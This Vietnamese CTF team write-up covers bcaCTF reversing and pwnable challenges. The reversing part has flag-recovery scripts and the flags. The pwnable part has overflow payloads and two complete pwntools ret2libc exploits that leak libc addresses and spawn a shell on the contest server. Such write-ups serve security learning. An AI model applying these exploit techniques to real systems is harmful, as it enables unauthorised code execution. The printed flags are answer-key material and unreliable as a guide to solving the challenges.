Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com
Reversing
Mochi Nishi
A Fun Game
Challenge
File: Game.exe
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/aFunGame$ file Game.exe
Game.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Mình dùng dnSpy để dịch bài này
Việc của mình là đảo ngược lại chuỗi và ta sẽ ra flag.
script.py
string = "}sr3tte1_0001_epYt_yl1aUtca_tNd1d_U0y_yl1uf3p0h{ftcacb"[::-1]
print(string)
bcactf{h0p3fu1ly_y0U_d1dNt_actUa1ly_tYpe_1000_1ett3rs}
Storytime The Opening Gambit
Challenge
File: story
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story$ file story
story: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ccea544c84172f60a939819e4416fdd108982090, for GNU/Linux 3.2.0, not stripped
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story$ strings story
/lib64/ld-linux-x86-64.so.2
libc.so.6
nanosleep
puts
__stack_chk_fail
__cxa_finalize
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
dH34%(
[]A\A]A^A_
bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}
Baa, baa, black sheep,
Have you any wool?
Yes sir, yes sir,
Three bags full.
One for the master,
One for the dame,
And one for the little boy
Who lives down the lane
Did you know? I almost used "Little Miss Muffet" for this problem.
Spiders make string too, kind of.
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
sleepNanos
__stack_chk_fail@@GLIBC_2.4
nanosleep@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}
Storytime The Shocking Conclusion
Challenge
File: story3
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story3$ file story3
story3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5210af9f7161e4d6b1c076ac4c8a88b15055ee1a, for GNU/Linux 3.2.0, not stripped
Mình check thử IDA thì mình thấy có điều kì lạ:
Không có một hàm gì liên quan đến flag cả. Lúc này mình mới nghi ngờ rằng có một hàm trong chương trình được viết nhưng không được chạy. Mình kiểm tra các Entry points
thử:
Mình vào thử hàm được bôi xanh, và đúng như mình dự đoán, đây có thể là flag:
Mình dịch hàm này thử thì thấy là hàm đã truyền vào 60 tham số tương ứng với 60 kí tự trong flag. Và sau đó thực hiện phép biến đổi dựa trên số phút trên máy tính. Lúc này mình sẽ viết script để chạy từ 0 đến 59, tương ứng với số phút, và mã hoá các đoạn kí tự này lại và kiểm tra một trong số chung có là flag không:
File input: abc
script.py
leak = [int(i[i.find('dd')+3:].strip()[:-1], 16) for i in open("abc").readlines()]
for num in range(0, 60):
cou = 0
for i in leak:
val = ((i >> num) - num * cou + 21) & 127
cou += 1
print(chr(val), end = "")
print()
Kiểm tra các kết quả:
bcactf{h1dd3n_c0d3_1s_h1dd3n_2c8d}
Storytime The Tragic Interlude
Challenge
File: story2
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story2$ file story2
story2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e3cbcc533556d3e4ce1edb0848a21cef1b10365, for GNU/Linux 3.2.0, not stripped
Bài này tuy không hiện flag, nhưng có 1 chỗ khá đáng nghi:
Sau đó mình viết script thử để kiểm tra
script.py
v6 = [0 for i in range(50)]
v6[36] = 179;
v6[14] = 180;
v6[6] = 235;
v6[13] = 207;
v6[3] = 193;
v6[10] = 213;
v6[30] = 154;
v6[26] = 57;
v6[15] = 73;
v6[12] = 72;
v6[20] = 64;
v6[4] = 224;
v6[5] = 194;
v6[23] = 174;
v6[29] = 55;
v6[35] = 166;
v6[8] = 192;
v6[7] = 218;
v6[33] = 151;
v6[25] = 61;
v6[17] = 157;
v6[16] = 196;
v6[28] = 182;
v6[24] = 143;
v6[2] = 191;
v6[19] = 190;
v6[21] = 165;
v6[0] = 197;
v6[32] = 34;
v6[11] = 169;
v6[31] = 137;
v6[1] = 196;
v6[18] = 165;
v6[9] = 87;
v6[22] = 52;
v6[27] = 151;
v6[34] = 126;
a = ""
for i in range(37):
a += (chr((v6[i] >> 1) + i))
print(a)
bcactf{th4t_0th3r_dr4g0n_76fw8kc1lav}
Trailblazer
Challenge
File: trailblazer
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/trailblazer$ file trailblazer
trailblazer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=010143a71b685bdeff46ec988c73c1f2a752faa2, for GNU/Linux 3.2.0, not stripped
Vô IDA kiểm tra thử:
Ta thấy hàm check_flag()
cùng với một điều kiện của input
là độ dài của input
phải bằng 47.
Ta xem thử hàm check_flag()
thì hàm này không thể decompile được. Mình đành đọc assembly + debug để xem chuyện gì đã xảy ra. Thì mình có 1 vài phát hiện thú vị về hàm perms:
Hàm _mprotect()
khi tra trên google:
Tóm tắt ngắn gọn thì hàm này sẽ chỉnh sửa quyền truy cập của một vùng memory pages nào đó. Ở trong bài này, hàm sẽ chỉnh sửa quyền truy cập ở đoạn này:
Thêm vào đó, hàm truyền vào tham số 7, nghĩa là ở đoạn code trên, ta có quyền vừa chỉnh sửa, vừa thực hiện chương trình trên đoạn code này. Với đoạn input ở trên, ta có thể suy nghĩ rằng: flag chính là đoạn input này bởi vì từng kí tự trong input sẽ thay đổi đoạn chương trình này bằng các xor các opcodes đã có sẵn trong chương trình với input, sẽ tạo ra các instructions hợp lệ. Lấy ví dụ ở bài này, mình sẽ bật opcodes trong IDA để có thể dễ hình dung:
Đầu tiên, mình sẽ để input là bcactf{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
, đủ 47 kí tự, và sau đó mình debug:
Có thể thấy rõ rằng các opcode phía sau phép xor
đều là các opcode rác. Ta thử step next để xem chuyện gì xảy ra:
Ta sửa lại opcode để hiện rõ các instructions:
À, bây giờ mọi thứ có vẻ đã đúng hướng:
Bởi vì ta muốn xor các input của ta với opcode rác trong đoạn chương trình đó để tạo thành các instructions hợp lệ, ta 2 instructions mới với các instructions trên thì ta thấy rằng xor [rax+7], rdx
cần phải chuyển thành xor [rax+8], rdx
, ta thử assemble đoạn code này thành opcode để xem opcode mình cần tìm là gì.
Từ đây, mình mới tìm các instructions phù hợp tiếp theo để tìm flag:
Ta sẽ thử lấy đoạn opcode này xor với các đoạn opcode rác để xem coi kết quả có phải là flag không
script.py
opcodes = bytes.fromhex('488B530848315008488B531048315010488B531848315018488B532048315020488B532848315028')
garbage_opcodes = bytes.fromhex('2AE8326B3C572B6627FC0C642050246317E33C6F17483F6D17E93F4132540F4117FF2149215D0F11')
from pwn import *
print(xor(opcodes, garbage_opcodes))
# Result: b'bcactf{now_thats_how_you_blaze_a_trail_9'
Mình còn 1 đoạn flag cuối cùng nữa, dựa vào hint của đề bài:
Vậy những đoạn instructions cuối cùng sẽ ra return 0, sao cho opcodes phải đủ 7 bytes.
Một hồi loanh hoanh tìm thì mình cũng có kết quả:
Ta viết thêm vào trong script nữa sẽ có kết quả hoàn chỉnh:
script.py
opcodes = bytes.fromhex('488B530848315008488B531048315010488B531848315018488B532048315020488B532848315028')
garbage_opcodes = bytes.fromhex('2AE8326B3C572B6627FC0C642050246317E33C6F17483F6D17E93F4132540F4117FF2149215D0F11')
from pwn import *
print(xor(opcodes, garbage_opcodes))
bcactf{now_thats_how_you_blaze_a_trail_9fd43x8}
Wait, this isn't C 2 (The Sequel)
Challenge
File: flag_checker_2
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/waitThisIsn'tC2$ file flag_checker_2
flag_checker_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=23f8256773b016d463a1f8fd482288fa13fec173, for GNU/Linux 3.2.0, not stripped
Như bài trước, đây cũng được viết bằng ngôn ngữ fortran. Mình xem sơ qua thì thấy có vẻ mệt hơn bài đầu =(( Check sơ sơ thì thấy có một vài nơi thú vị, mình sẽ tóm tắt qua hình (lưu ý rằng mình sẽ không đi vào quá chi tiết những đoạn này):
Bây giờ ta cần dịch ngược về input. Để ý ở đây có đoạn nhân ma trận. Gọi F
là ma trận vừa dịch chuyển, A
là ma trận đề cho, F1
là kết quả, thì ta có: A . F = F1
Ta đã có A
và F1
, muốn tìm lại F
ta sẽ có công thức: F = (A^-1) . F1
. Và từ đó ta sẽ dịch ngược lại ra input.
script.cpp
#include<bits/stdc++.h>
using namespace std;
int b[10][10], f[10][10], a1[10][10], flag[10][10], k[10][10], a[10][10];
void init() {
a[0][0] = 1;
a[0][1] = 2;
a[0][2] = 4;
a[0][3] = 7;
a[0][4] = 0xb;
a[1][0] = 2;
a[1][1] = 3;
a[1][2] = 5;
a[1][3] = 8;
a[1][4] = 0xc;
a[2][0] = 4;
a[2][1] = 5;
a[2][2] = 6;
a[2][3] = 9;
a[2][4] = 0xd;
a[03][0] = 7;
a[03][1] = 8;
a[03][2] = 9;
a[03][3] = 0xa;
a[03][4] = 0xe;
a[04][0] = 0xb;
a[04][1] = 0xc;
a[04][2] = 0xd;
a[04][3] = 0xe;
a[04][4] = 0xf;
flag[0][0] = 0xac0;
flag[0][1] = 0x779;
flag[0][2] = 0xa43;
flag[0][3] = 0x859;
flag[0][4] = 0x982;
flag[1][0] = 0xcda;
flag[1][1] = 0x92c;
flag[1][2] = 0xc10;
flag[1][3] = 0x9d5;
flag[1][4] = 0xb5e;
flag[2][0] = 0xfc9;
flag[2][1] = 0xba1;
flag[2][2] = 0xe65;
flag[2][3] = 0xbc2;
flag[2][4] = 0xdfc;
flag[03][0] = 0x1465;
flag[03][1] = 0xf9e;
flag[03][2] = 0x120c;
flag[03][3] = 0xf08;
flag[03][4] = 0x1200;
flag[04][0] = 0x1b6e;
flag[04][1] = 0x15c2;
flag[04][2] = 0x17de;
flag[04][3] = 0x13d5;
flag[04][4] = 0x183b;
}
void mulMatrix() {
memset(k, 0, sizeof(k));
for (int i=0; i<5; i++)
for (int j=0; j<5; j++) {
for (int num=0; num<5; num++)
k[i][j] += (float)a[i][num] * f[num][j];
}
}
void encryption() {
string s;
cin >> s;
int num = 0;
for (int i=0; i<5; i++)
for (int j=0; j<5; j++) {
if (i + j != 0)
b[i][j] = (int)s[num];
num++;
}
for (int i = 1; i <= 5; ++i ) {
for (int j = -2; j <= 2; ++j )
b[j + 2][i - 1] += j * i;
}
for (int i=0; i<5; i++)
for (int j=0; j<5; j++) {
f[i][j] = b[i][(j + 2) % 5];
}
mulMatrix()
for (int i=0; i<5; i++) {
for (int j=0; j<5; j++)
cout << k[i][j] << " ";
cout << endl;
}
cout << endl;
}
int main(){
init();
/*
here is the input of a[][] array:
93 89 89 0 94
120 105 47 115 100
108 99 101 116 82
100 86 106 54 97
117 56 118 97 103
*/
for (int i=0; i<5; i++)
for (int j=0; j<5; j++)
cin >> a[i][j];
for (int i=0; i<5; i++)
for (int j=0; j<5; j++) {
int num = 0;
if (j - 2 < 0) num = j + 3;
else num = j - 2;
flag[i][j] = a[i][num];
}
for (int i = 1; i <= 5; ++i ) {
for (int j = -2; j <= 2; ++j )
flag[j + 2][i - 1] -= j * i;
}
for (int i=0; i<5; i++) {
for (int j=0; j<5; j++)
cout << (char)flag[i][j];
}
cout << endl;
}
bcactf{m4tRlce5_aRe_co0l}
Wait, this isn't C
Challenge
File: flag_checker_1
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/waitThisIsn'tC$ file flag_checker_1
flag_checker_1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44db315a94752488b3ace72816fef8393c9db3fd, for GNU/Linux 3.2.0, not stripped
Sau khi bỏ vào IDA thì mình nhận ra đây là ngôn ngữ Fortran, trước giờ chưa reverse nên mình vừa làm bài này vừa đọc tài liệu tham khảo.
Trong quá trình làm, mình thấy có đoạn này là đoạn chính:
Một hồi debug thì mình hiểu rằng chương trình đã kiểm tra bằng cách tại vị trí i
, kí tự thứ i - 1
được cộng lên i
đơn vị. Vậy là mình viết script để giải bài này
File input: abc
script.py
leak = [int(i[i.find('db') + 3:].strip()[:-1], 16) for i in open("abc").readlines() if i[i.find('db') + 3:].strip() != '0']
for i in range(len(leak)):
leak[i] -= (i + 1)
print(chr(leak[i]), end = "")
bcactf{f0rtr4N_i5_c0oO0l}
Pwnable
pivik
BCA Mart
Có lỗi tràn số nguyên trong hàm purchase, vậy mình chỉ cần làm cho biến amount lớn hơn 2,147,483,647 thì nó sẽ trở về số âm. Các bước thực hiện
Honors ABCs
gets(response) => bof
Nếu grade > 100 thì sẽ in flag
Biến response nằm ở rbp-0x50
Còn grade nằm ở rbp-4, vậy mình cần 0x50 - 0x4 = 76 bytes rác + 1 byte ghi đè biến grade. Lưu ý là 76 bytes rác đó không được bắt đầu bằng a vì correct cũng bắt đầu bằng
Và grade sẽ được gán bằng i 4 = 0 nên mình sẽ không thể điều khiển biến grade được. Vậy thay vì phần padding là 76 chữ a, mình có thể thay bằng 76 chữ b => Payload: 'b'76 + 'e'
AP ABCs
Tương tự bài trên => Payload: b'b'*76 + p64(0x73434241)
American Literature
Có lỗi format string. Bài này thì hướng giải như 1 bài ở giải DCTF mà mình đã viết wu rồi. Các bạn tham khảo lại bài này nhé: https://github.com/pivikk/CTF/tree/main/DCTF/Readme
Math Analysis
overflow về hàm cheat()
Advanced Math Analysis
khá giống bài trên, chỉ khác là lần này chương trình sẽ có 1 đoạn so sánh chuỗi ta nhập vào với "i pledge to not cheat". Hàm strcmp chỉ so sánh tới null byte nhưng gets thì không bị terminate khi gặp null byte nên ta có thể dễ dàng bypass đoạn check đó. Payload:
Discrete Mathematics
Chỉ bật mỗi NX + thêm bof => ret2libc thần chưởng :v
Đầu tiên thì ta cần leak libc ra trước, từ đó tính toán libc base, có libc base rồi thì sẽ dễ dàng tính được địa chỉ của /bin/sh với system. Để leak được libc thì ta sẽ tận dụng hàm puts. Đầu tiên cần truyền tham số cho hàm puts là puts@got, hay nói cách khác là gọi puts("puts@got") để nó in ra địa chỉ hàm puts trong libc. Sau đó lấy địa chỉ vừa mới leak ra trừ đi offset của hàm puts sẽ được libc base. Payload dùng để leak:
Chạy đoạn exploit trên ta được:
Địa chỉ của hàm puts đã được leak. Sau đó lên https://libc.blukat.me/ để tra libc.
Thường thì bây giờ các bản libc trên server đều từ 2.27 trở lên (trừ 1 vài bài heap), nên mình sẽ tải file libc 2.31 về. Có libc rồi thì sẽ tính được địa chỉ của system với /bin/sh.
Exploit code:
from pwn import *
elf = ELF('./discrete')
libc = ELF('./libc.so')
p = remote('bin.bcactf.com', 49160)
pop_rdi = 0x00000000004017a3
ret = 0x000000000040101a
payload = b'i will get an A'
payload += b'\x00'
payload += b'a'*56
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts'])
payload += p64(elf.sym['main'])
p.sendline(payload)
p.recvuntil('luck.\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info('leaked puts: ' + hex(leaked_puts))
libc_base = leaked_puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
p.recv()
payload = b'i will get an A'
payload += b'\x00'
payload += b'a'*56
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret) # Stack alignment
payload += p64(system)
p.sendline(payload)
p.interactive()
Computer Security
Bài này mình cũng dùng kỹ thuật ret2libc như bài trên. Exploit code:
from pwn import *
elf = ELF('./notesearch')
libc = ELF('./libc.so')
p = remote('bin.bcactf.com', 49159)
pop_rdi = 0x0000000000401703
ret = 0x000000000040101a
p.recv()
payload = b'a'*120
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts'])
payload += p64(elf.sym['main'])
p.sendline(payload)
p.recvuntil(']-------\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
p.recv()
payload = b'a'*120
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)
p.sendline(payload)
p.interactive()